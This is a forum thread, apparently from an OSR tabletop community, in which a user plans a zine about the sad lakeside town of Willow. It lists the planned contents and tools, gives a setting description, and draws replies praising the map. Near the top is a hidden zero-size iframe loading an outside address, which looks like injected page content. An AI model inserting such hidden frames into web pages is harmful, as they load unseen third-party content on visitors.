Willow - New micro setting I'm making for Zinequest

[lazylitch]

<iframe src="//remove.video/pblock" style="width:0;height:0;display:none;"></iframe>

I made this little town for the current OSR game I'm DMing, and I decided I want to turn it into a Zine!

I'm very excited about it, but also very busy right now and nervous I wont get it done before zinequest starts

(btw are any of you guys making stuff for zinequest?)

Here is a rough sketch of the map for the town:

There is a aquatic themed dungeon under the lake. And some other interesting things in hex's nearby.

The town is a very sad town, as you can tell from the labels.

In the zine I'm planning on including content like :

- Some random encounter tables

- Some new monsters

- The Above mentioned Dungeon

- NPC relationship web  (in a graphic)

- A puzzle for Haggard Henge

- A mystery to be solved up river

- Key NPC's with desires, fears and mannerisms

- The contents of the shop (through artwork)

- Random rumors for the Inn as well as food and drink tables

- The above mentioned keyed nearby Hex's

- Some history for the town

- Organization structure for the society of the town (in a graphic)

- Changes and sets of events that happen over time

- Random things you might find in and around the town table

But maybe these things will change as I get into making the content or approach deadlines

Maybe I will post more content here as I make it.

To make the zine I am using :

Pen and ink for illustration

Scribus for layout

Blender for 3D mockups

Gimp to draw over the 3D mockups, & clean up scans

A graphics tablet and pen

Libre office for writing and tables

Adobe acrobat pro and distiller for premedia

Inkscape for additional graphics

ImageMagick for converting images to cmyk for print

Wow! That is pretty incredible.

New updated map progress :

[The Perilous Dreamer]

lazylitch, I love your make and you put a lot of intricate detail into that drawing too. Excellent!

[El Borak]

That is a wonderful map, lazylitch . I really like the way you drew the roads/trails and the village center, it looks great. What is the surface supposed to be?  Oh and what is that largest building?

[lazylitch]

Thanks so much Perilous Dreamer! Yep its all possible because of 0.05mm fine liner pens lol

Thank you too El Borak, the biggest building is "The Blue Brew" the local Inn. The trails are mudd, and then is grassy everywhere else besides the lake.

A description I'm working on (probably lots of grammar mistakes!)

"A dreary provincial town called Willow sits beside the Lake of Tears. The lake is framed by weeping willow trees, their vines pouring into the lake’s shores. Willow is not what one would call an upbeat town. The rains here are relentless and the grey sky's loom low like a giant cage. Travelers do not linger here long, one night in the Blue Brew Inn is enough to make most jump on the ferry and move on. But recently the ferries have stopped running as something terrible has taken up residence upriver. Meanwhile the town residents will not talk about the noises echoing up from the staircase that descends below the lake , nor the broken stone circle on the hill on the edge of town. The towns leader - a witch named Morse Morgan is a recluse and refuses to leave her island and answer any questions from travelers. "

Here is an updated map with labels :

I just finished this drawing last night:

and here is some other images :
